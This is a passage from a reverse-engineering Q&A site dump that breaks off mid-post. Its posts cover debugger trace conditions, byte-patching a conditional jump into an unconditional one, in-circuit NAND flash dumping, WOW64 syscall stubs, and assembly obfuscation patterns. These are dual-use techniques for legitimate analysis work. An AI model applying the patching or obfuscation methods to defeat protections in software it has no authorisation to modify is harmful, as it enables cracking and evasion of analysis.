  <row Id="22036" PostTypeId="1" CreationDate="2019-09-04T06:36:45.720" Score="1" ViewCount="993" Body="&lt;p&gt;I read &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13969/ollydbg-how-to-set-conditional-breakpoint-on-a-register-value&quot;&gt;this&lt;/a&gt; question about &quot;set conditional break point on a register value&quot; ; but its about setting a bp on special address!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set a bp when for example &lt;code&gt;ECX == 12345678&lt;/code&gt; , i can do this on specific address with this condition , but i want do this on whole module, that when any where in a module &lt;code&gt;ECX&lt;/code&gt; is equal to &lt;code&gt;12345678&lt;/code&gt; , the debugger stops the procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution for my question? Or is there any scripts that do the same thing i told?&lt;/p&gt;&#xA;" OwnerUserId="29233" LastActivityDate="2019-09-05T15:50:26.673" Title="Ollydbg: How to set a conditinal breakpoint for a register gets special value" Tags="|ollydbg|breakpoint|register|ollyscript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22037" PostTypeId="2" ParentId="22035" CreationDate="2019-09-04T06:42:26.443" Score="1" Body="&lt;p&gt;&lt;code&gt;E9&lt;/code&gt; is a so-called &lt;em&gt;near jump&lt;/em&gt; which takes a &lt;em&gt;four-byte&lt;/em&gt; offset (rel32) so you can’t actually fit it in two bytes. If you have a two-byte &lt;code&gt;jnz&lt;/code&gt; (&lt;code&gt;75 xx&lt;/code&gt;),  you can instead use the &lt;em&gt;short jump&lt;/em&gt; (&lt;code&gt;EB&lt;/code&gt;) which takes a one-byte offset(rel8) just like &lt;code&gt;jnz&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the near &lt;code&gt;jnz&lt;/code&gt; (&lt;code&gt;0F 85 rel32&lt;/code&gt;) you can instead patch the first byte with a NOP (&lt;code&gt;90&lt;/code&gt;) and replace &lt;code&gt;85&lt;/code&gt; with &lt;code&gt;E9&lt;/code&gt; - this should give you the same destination but with unconditional jump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.felixcloutier.com/x86/jmp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.felixcloutier.com/x86/jmp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.felixcloutier.com/x86/jcc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.felixcloutier.com/x86/jcc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-09-04T08:45:40.433" LastActivityDate="2019-09-04T08:45:40.433" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22039" PostTypeId="2" ParentId="22035" CreationDate="2019-09-04T11:53:51.000" Score="0" Body="&lt;p&gt;0f 85 takes a dword or rel32 or 4 bytes in 32 and 64 bit mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and two bytes or rel16 in 16 bit mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume 32 /64 bit because  (hex view in your screen shot has a selection of 6 bytes highlighted )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0f 85 b5 00 00 00  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to jmp with e9 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;change &lt;strong&gt;0f 85 b5 00 00 00&lt;/strong&gt;  to &lt;strong&gt;e9 b6 00 00 00 90&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; eb .&#xA;00007ffc`01d82dbc cc 0f &#xA;00007ffc`01d82dbd eb 85&#xA;00007ffc`01d82dbe 00 b5&#xA;00007ffc`01d82dbf 48 00&#xA;00007ffc`01d82dc0 83 00&#xA;00007ffc`01d82dc1 c4 00&#xA;00007ffc`01d82dc2 38&#xA;0:000&amp;gt; u . l1&#xA;ntdll!LdrpDoDebuggerBreak+0x30:&#xA;00007ffc`01d82dbc 0f85b5000000    jne     ntdll!LdrpGetProcApphelpCheckModule+0xab (00007ffc`01d82e77)&#xA;0:000&amp;gt; eb .&#xA;00007ffc`01d82dbc 0f e9&#xA;00007ffc`01d82dbd 85 b6&#xA;00007ffc`01d82dbe b5 00&#xA;00007ffc`01d82dbf 00 00&#xA;00007ffc`01d82dc0 00 00&#xA;00007ffc`01d82dc1 00&#xA;0:000&amp;gt; u . l1&#xA;ntdll!LdrpDoDebuggerBreak+0x30:&#xA;00007ffc`01d82dbc e9b6000000      jmp     ntdll!LdrpGetProcApphelpCheckModule+0xab (00007ffc`01d82e77)&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or as igorsk edited in nop the first byte and modify the second and third byte&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; eb .&#xA;00007ffc`01d82dbc e9 90&#xA;00007ffc`01d82dbd b6 e9&#xA;00007ffc`01d82dbe 00 b5&#xA;00007ffc`01d82dbf 00 00&#xA;00007ffc`01d82dc0 00 00&#xA;00007ffc`01d82dc1 00 00&#xA;00007ffc`01d82dc2 38&#xA;0:000&amp;gt; u . l2&#xA;ntdll!LdrpDoDebuggerBreak+0x30:&#xA;00007ffc`01d82dbc 90              nop&#xA;00007ffc`01d82dbd e9b5000000      jmp     ntdll!LdrpGetProcApphelpCheckModule+0xab (00007ffc`01d82e77)&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for an unconditional jump the byte immediately to the patched instructions do not matter if the patched bytes are less.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but for other instructions which will fall through to the next instruction the instruction boundaries do matter &lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose you patched add to sub and sub is one byte less.&lt;br&gt;&#xA;so after executing sub which is one byte lesser the next instruction will start executing on the bogus rogue byte.&lt;br&gt;&#xA;this is not what was intended. &#xA;we need to execute the byte which was the originally supposed to be executed and we cant fly in mid air.&lt;br&gt;&#xA;we need to also execute the dummy rogue byte &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so we change it to a one byte no operation instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;execute sub as well as nop and then we get to execute the actual original next instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is why the nop it may look silly here for this specific instruction but it is a good habit to patch all the bytes within instruction boundaries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;there are single byte nop as well as multibyte nops or instructions like &#xA;mov eax,eax  which do not alter the state but provide space fillers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw when you read the instruction manuals   rel32 is always a counter it is counted from the start of next instruction &#xA;a simple jump eb 00 at address 0x1000 jumps to 0x1002 because eb 00 is two bytes &#xA;adding 2 to 0x1000 will make the next $ip 0x1002 &#xA;so eb 01-&gt;0x1003 , eb 02 -&gt; 0x1004 and so on  &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-09-05T03:52:31.607" LastActivityDate="2019-09-05T03:52:31.607" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22043" PostTypeId="1" AcceptedAnswerId="22048" CreationDate="2019-09-05T06:35:16.973" Score="2" ViewCount="2052" Body="&lt;p&gt;I am currently trying to dump the content of a NAND Flash that is part of an embedded system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chip is a QCA4531 and the NAND Flash is a GD5F1GQ4RCYIG. The module consists of 28 Pins, 14 per side. The NAND Flash has 8 contacts, 4 per side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty new to this but I already did some reasearch work and I think I am not that far away anymore but the &quot;last&quot; step is giving me some headaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a little bit limited because I can't desolder the NAND Flash so I try to get access to its content while it's still assembled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea was getting the Bus Pirate v4, connecting it to the NAND Flash and reading out the content via flashrom. I knew that flashrom has some problems with the Bus Pirate when it is used in a Virtual Machine from the DangerousPrototypes Forum but I tried it anyways and as expected it doesn't really work. So I tried to get a Windows version of flashrom. Unfortunately it's a pretty old one but I wanted to see what happens when I try to read out the Flash and I got the following output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found Chip &quot;Generic unknown SPI chip (RDID)&quot; (0 KB, SPI) at physical address 0x0.&#xA;This flash part has status NOT WORKING for operations: PROBE READ ERASE WRITE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a little bit confused right now, is there any other tool that I can use to read out the Flash or what can I do to access the content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw since the Flash is still soldered to the embedded system is it important to hold the system in reset? I read something about that but I didn't want to do that before understanding why this could be an issue.&lt;/p&gt;&#xA;" OwnerUserId="29398" LastEditorUserId="60" LastEditDate="2019-10-15T10:23:02.463" LastActivityDate="2019-10-15T10:23:02.463" Title="Dumping a NAND Flash" Tags="|hardware|flash|firmware-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22044" PostTypeId="1" CreationDate="2019-09-05T08:16:07.663" Score="2" ViewCount="1114" Body="&lt;p&gt;Given a function pointer which is obtained dynamically using dlsym, how can I tell Ghidra that that pointer points to a function in another .so that I have open in same project for which I have already done some parameter renaming etc. &lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2020-06-19T09:03:00.353" Title="Ghidra function pointers to another file in project" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22045" PostTypeId="2" ParentId="22036" CreationDate="2019-09-05T08:50:39.547" Score="2" Body="&lt;p&gt;(Not exactly an answer but too long for a comment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds like a simple problem but technically it isn't! I'd like to explain why and how if there is a solution for it, it is probably going to be very very slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A debugger does not actually know all the register values at every single point in the program. It doesn't know &lt;em&gt;any&lt;/em&gt; register values until a debug break. So if any breakpoint triggers, it will be able to read those values and act on them (hence conditional breakpoints on a specific address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means if you want to know if a register has a certain value at any time during execution, you will probably have to single step the whole program. That is, execute one instruction, break, read values, execute one instruction, break, read values, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what a run trace usually does but I never used them due to speed. You may want to look around OllyDbg's trace features to see if it offers what you need but know it's probably going to be really slow.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-09-05T08:50:39.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22046" PostTypeId="2" ParentId="12507" CreationDate="2019-09-05T11:35:09.887" Score="0" Body="&lt;p&gt;As mentioned in the comments, check out chapter 5 of the &lt;code&gt;PDF&lt;/code&gt; &lt;a href=&quot;https://repo.zenk-security.com/Reversing%20.%20cracking/Practical%20Reverse%20Engineering.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Practical Reverse Engineering&lt;/code&gt;&lt;/a&gt; for some ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Junk code insertion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp label&#xA;&amp;lt;junk&amp;gt; &#xA;label:&#xA;&amp;lt;real code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Operating System–Based Control Indirection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push addr_seh_handler&#xA;push fs:[0]&#xA;mov fs:[0], esp&#xA;xor eax, eax&#xA;mov [eax], 1234h&#xA;&amp;lt;junk code&amp;gt;&#xA;addr_seh_handler:&#xA;&amp;lt;continue execution here&amp;gt;&#xA;pop fs:[0]&#xA;add esp, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Processor-Based Control Indirection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call target_addr&#xA;&amp;lt;junk code&amp;gt;&#xA;target_addr:&#xA;add esp, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Arithmetic Substitution via Identities:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-x = ~x + 1 (by definition of two's complement) &#xA;rotate left(x,y) = (x &amp;lt;&amp;lt; y) | (x &amp;gt;&amp;gt; (bits(x)-y))&#xA;rotate right(x,y) = (x &amp;gt;&amp;gt; y) | (x &amp;lt;&amp;lt; (bits(x)-y))&#xA;x-1 = ~-x&#xA;x+1 = - x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pattern-Based Obfuscation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push reg32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push imm32&#xA;mov dword ptr [esp], reg32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More pattern based examples &lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Disassembly/Code_Obfuscation#Common_Instruction_Substitutions&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ics.uci.edu/~ahomescu/multicompiler_cgo13.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nop code insertion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12774" LastActivityDate="2019-09-05T11:35:09.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22047" PostTypeId="1" AcceptedAnswerId="22049" CreationDate="2019-09-05T12:13:06.230" Score="1" ViewCount="196" Body="&lt;p&gt;So i just compared NTterminateProcess between 32 and 64 bit version of a program, and the mov instruction which moves the syscall into eax is almost the same, both 5 byte, (both the B8 mov) but the only difference is that the last 2 byte in the 32 bit version is some random number which is not even used as the syscall number, for example opcode is  its B8 - 2C000700, but the 64 bit is  B8 - 2C000000, and that last part is not even used in the syscall number, the number in both of them is 2C, so whats the deal with that last 2-3 byte?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : yes it is in fact Wow64 process &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2 : heres the picture, as you can see some of them have something in the last 2 byte which is not part of syscall number, and for some reason only the ones that have their  Zw shown have them, why!? also the rest of them are Zw functions as well, for example the black one is ZwQuerySystemInformation, but i dont get why its name is not showing! ( does it have anything to do with the last bytes of mov not having a number?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Picture taken in x32dbg)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fM9S9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fM9S9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT3: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;77C61FF0 | B8 36000000              | mov eax,36                                                                                     | 36:'6'&#xA;77C61FF5 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C61FFA | FFD2                     | call edx                                                                                       |&#xA;77C61FFC | C2 1000                  | ret 10                                                                                         |&#xA;77C61FFF | 90                       | nop                                                                                            |&#xA;77C62000 | B8 37000000              | mov eax,37                                                                                     | 37:'7'&#xA;77C62005 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C6200A | FFD2                     | call edx                                                                                       |&#xA;77C6200C | C2 0C00                  | ret C                                                                                          |&#xA;77C6200F | 90                       | nop                                                                                            |&#xA;77C62010 | B8 38000000              | mov eax,38                                                                                     | 38:'8'&#xA;77C62015 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C6201A | FFD2                     | call edx                                                                                       |&#xA;77C6201C | C2 1400                  | ret 14                                                                                         |&#xA;77C6201F | 90                       | nop                                                                                            |&#xA;77C62020 | B8 39001B00              | mov eax,1B0039                                                                                 |&#xA;77C62025 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C6202A | FFD2                     | call edx                                                                                       |&#xA;77C6202C | C2 2800                  | ret 28                                                                                         |&#xA;77C6202F | 90                       | nop                                                                                            |&#xA;77C62030 | B8 3A000000              | mov eax,3A                                                                                     | 3A:':'&#xA;77C62035 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C6203A | FFD2                     | call edx                                                                                       |&#xA;77C6203C | C2 1400                  | ret 14                                                                                         |&#xA;77C6203F | 90                       | nop                                                                                            |&#xA;77C62040 | B8 3B000000              | mov eax,3B                                                                                     | 3B:';'&#xA;77C62045 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C6204A | FFD2                     | call edx                                                                                       |&#xA;77C6204C | C2 0C00                  | ret C                                                                                          |&#xA;77C6204F | 90                       | nop                                                                                            |&#xA;77C62050 | B8 3C000000              | mov eax,3C                                                                                     | 3C:'&amp;lt;'&#xA;77C62055 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C6205A | FFD2                     | call edx                                                                                       |&#xA;77C6205C | C2 1C00                  | ret 1C                                                                                         |&#xA;77C6205F | 90                       | nop                                                                                            |&#xA;77C62060 | B8 3D000000              | mov eax,3D                                                                                     | 3D:'='&#xA;77C62065 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C6206A | FFD2                     | call edx                                                                                       |&#xA;77C6206C | C2 0800                  | ret 8                                                                                          |&#xA;77C6206F | 90                       | nop                                                                                            |&#xA;77C62070 | B8 3E000300              | mov eax,3003E                                                                                  |&#xA;77C62075 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |&#xA;77C6207A | FFD2                     | call edx                                                                                       |&#xA;77C6207C | C2 0400                  | ret 4                                                                                          |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28173" LastEditorUserId="28173" LastEditDate="2019-09-05T18:26:33.760" LastActivityDate="2019-09-05T18:26:33.760" Title="What is the ending bytes in the MOV instruction in 32 bit applications in windows? (B8 mov)" Tags="|disassembly|windows|x86|x64dbg|x86-64|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22048" PostTypeId="2" ParentId="22043" CreationDate="2019-09-05T12:38:10.280" Score="4" Body="&lt;p&gt;It seems you have an SPI NAND chip and not a more common SPI NOR on which flashrom specializes. The support for SPI NAND in flashrom is &lt;a href=&quot;https://github.com/flashrom/flashrom/pull/62&quot; rel=&quot;nofollow noreferrer&quot;&gt;pretty new&lt;/a&gt;, covers only Toshiba and Micron for now and is not even merged in the master branch yet, so it's very unlikely your build even has it. You can try to either add support for GigaDevice on your own (e.g. from the datasheet or &lt;a href=&quot;https://patchwork.ozlabs.org/patch/493667/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this OpenWrt patch&lt;/a&gt;) or contact flashrom &lt;a href=&quot;https://flashrom.org/Mailinglist&quot; rel=&quot;nofollow noreferrer&quot;&gt;mailing list&lt;/a&gt; or &lt;a href=&quot;https://flashrom.org/IRC&quot; rel=&quot;nofollow noreferrer&quot;&gt;IRC channel&lt;/a&gt; to confirm if there are plans to support GigaDevice NAND parts and get help getting it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the common problems that may affect reading flash while it's on board, see &lt;a href=&quot;https://flashrom.org/ISP&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://flashrom.org/ISP&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-05T12:38:10.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22049" PostTypeId="2" ParentId="22047" CreationDate="2019-09-05T13:10:03.407" Score="1" Body="&lt;p&gt;It seems you're looking at a Wow64 syscall stubs in 32-bit &lt;code&gt;ntdll.dll&lt;/code&gt;. WOW64 can use a special value in the high part of the syscall number for so-called &lt;em&gt;Turbo thunks&lt;/em&gt;. From &lt;a href=&quot;https://wbenny.github.io/2018/11/04/wow64-internals.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;WoW64 internals&lt;/a&gt; by &quot;wbenny&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _WOW64_SYSTEM_SERVICE&#xA;{&#xA;    ULONG SystemCallNumber  : 12;&#xA;    ULONG ServiceTableIndex :  4;&#xA;    ULONG TurboThunkNumber  :  5; // Can hold values 0 - 31&#xA;    ULONG AlwaysZero        : 11;&#xA;} WOW64_SYSTEM_SERVICE, *PWOW64_SYSTEM_SERVICE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems this is done to speed up extraction of syscall arguments from the x86 stack area. The thunk number used  in &lt;code&gt;NtTerminateProcess&lt;/code&gt; wrapper (7) corresponds to &lt;code&gt;Thunk2ArgSpNSp&lt;/code&gt; which has the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000006B101C40                 movsxd  r10, dword ptr [r11]&#xA;.text:000000006B101C43                 mov     edx, [r11+4]&#xA;.text:000000006B101C47                 jmp     short Thunk0Arg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the first dword from the x86 stack (to which &lt;code&gt;r11&lt;/code&gt; points) is sign-extended into &lt;code&gt;r10&lt;/code&gt; while the second is copied into &lt;code&gt;rdx&lt;/code&gt; (equivalent to zero-extending into &lt;code&gt;rdx&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-05T13:10:03.407" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22051" PostTypeId="2" ParentId="17601" CreationDate="2019-09-05T15:08:03.650" Score="8" Body="&lt;p&gt;I recently made a tool to make the early stuff in 8051 reverse engineering easier, called &lt;a href=&quot;https://github.com/8051Enthusiast/at51&quot; rel=&quot;noreferrer&quot;&gt;at51&lt;/a&gt; and will shamelessly use this answer as a showcase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, you want the image to be properly aligned.&#xA;Rarely is 8051 firmware aligned, and for this file this is also true.&#xA;By using the base subcommand, you get the offsets most likely to be the offset the file is loaded at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ at51 base rtl8188efw.bin&#xA;Index by likeliness:&#xA;    1: 0x3fe0 with 139&#xA;    2: 0x2526 with 63&#xA;    3: 0x6a5 with 58&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the score of the first match is more than double that of the second match, so it is probably loaded at 0x3fe0 (actually at 0x4000 because of the 32 byte header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use now ghidra or radare2, which both have 8051 support.&#xA;To help with this, since this firmware seems to be compiled with C51 as most 8051 firmware is, you can also use the libfind subcommand to find standard library functions in the image.&#xA;For that you use the C51 library files of the form C51*.LIB (you can obtain them by downloading the trial version of C51, because no one would ever leave a file named C51L.LIB anywhere open on the internet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, using the aligned image (for example by using &lt;code&gt;dd if=rtl8188efw.bin of=fw_aligned bs=$((0x3fe0)) seek=1&lt;/code&gt;) and the library files, one gets&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ at51 libfind fw_aligned /path/to/lib/C51*.LIB&#xA;Address | Name                 | Description&#xA;0x42dd    (MAIN)                &#xA;0x44a9    ?C?IILDX              &#xA;0x44bf    ?C?LAND                long (32-bit) bitwise and&#xA;0x44cc    ?C?LOR                 long (32-bit) bitwise or&#xA;0x44d9    ?C?LLDXDATA            long (32-bit) load from xdata&#xA;0x44e5    ?C?LLDXDATA0           long (32-bit) load from xdata into r3-r0&#xA;0x44f1    ?C?OFFXADD            &#xA;0x44fd    ?C?PLDXDATA            general pointer load from xdata&#xA;0x4506    ?C?PSTXDATA            general pointer store to xdata&#xA;0x450f    ?C?CCASE              &#xA;0x4573    ?C_START              &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have some offsets where some functions start and a description for some of them, which should help.&#xA;Note that MAIN is in parenthesis because it is found not in the library itself, but referenced by it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last thing is that firmware generated by C51 often contains a structure where values of memory locations to be initialized on startup are stored.&#xA;One can use the kinit subcommand to read that structure.&#xA;You can find the offset of that structure easily because it is loaded at the start of ?C_START with &lt;code&gt;mov dptr, #0x45b8&lt;/code&gt;.&#xA;But it seems that for this firmware image, this is actually disabled (by inserting a 0 at that location)?&#xA;Or maybe the linker messed up and inserted the 0 before the structure and not after it?&#xA;Anyway, if they didn't zero it out (the structure actually exists one byte behind it), you would get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ at51 kinit -o $((0x45b9)) fw_aligned&#xA;xdata[0x8197] = 0x00&#xA;xdata[0x8198] = 0x00&#xA;xdata[0x81a4] = 0x00&#xA;xdata[0x3457..0x3468] = [0x4a, 0x57, 0x36, 0x58, 0x29, 0xc0, 0xe0, 0xc0, 0xf0, 0xc0, 0x83, 0xc0, 0x82, 0xc0, 0xd0, 0x75, 0xd0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That last one seems to be garbage since it contains 8051 code, so maybe the terminating 0 did accidentally land at the beginning.&lt;/p&gt;&#xA;" OwnerUserId="29518" LastActivityDate="2019-09-05T15:08:03.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22052" PostTypeId="2" ParentId="12507" CreationDate="2019-09-05T15:50:24.947" Score="0" Body="&lt;p&gt;If you don't want to obfuscate the code manually, here's the 'mature' approach:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Source code -&gt; Compiler -&gt; IR aka bitcode&lt;/li&gt;&#xA;&lt;li&gt;IR -&gt; obfuscator -&gt; obfuscated IR&lt;/li&gt;&#xA;&lt;li&gt;obfuscated IR -&gt; LLVM static compiler -&gt; final executable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The compiler which can generate IR is clang.&lt;/li&gt;&#xA;&lt;li&gt;Obfuscator is usually opt from &lt;a href=&quot;https://github.com/obfuscator-llvm/obfuscator/wiki/Installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/obfuscator-llvm/obfuscator/wiki/Installation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;LLVM static compiler is llc also from &lt;a href=&quot;https://github.com/obfuscator-llvm/obfuscator/wiki/Installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/obfuscator-llvm/obfuscator/wiki/Installation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Manipulating IR code is much easier, than manipulating the native code. Yet learning how llvm works and how to use its classes to make changes is not trivial.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-09-05T15:50:24.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22053" PostTypeId="2" ParentId="22036" CreationDate="2019-09-05T15:50:26.673" Score="2" Body="&lt;p&gt;&lt;strong&gt;ctrl+t&lt;/strong&gt; -&gt;  Set Trace Condition&lt;br&gt;&#xA;checkmark condition is true check box and enter the condition&lt;br&gt;&#xA;in your case &lt;strong&gt;ecx == 12345678&lt;/strong&gt;&lt;br&gt;&#xA;and start tracing with either &lt;strong&gt;ctrl+f11 or ctrl+f12&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;snap shot shows trace record for condition &lt;strong&gt;ecx == eip&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1RGra.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1RGra.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-05T15:50:26.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22054" PostTypeId="1" AcceptedAnswerId="22058" CreationDate="2019-09-05T17:06:39.400" Score="1" ViewCount="890" Body="&lt;p&gt;So there was a question asked before about this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19333/what-are-the-difference-syscall-and-int-0x2e-instructions&quot;&gt;What are the difference syscall and int 0x2E instructions?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it has two answer, one says that is just a way to check if we are in a 32 bit or 64 bit windows! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if this is the actual answer, then why do we need to check if we are in a 32 bit system in a 64 bit app! it wont even start if its in a 32 bit system, and this check doesn't happen on the 32 bit version of the app&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if the other answer is true, then i couldn't find anything clear on the relation of this address and &quot;virtualization security&quot;, can anyone elaborate a bit more on this? why is this check happens? :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test    byte ptr 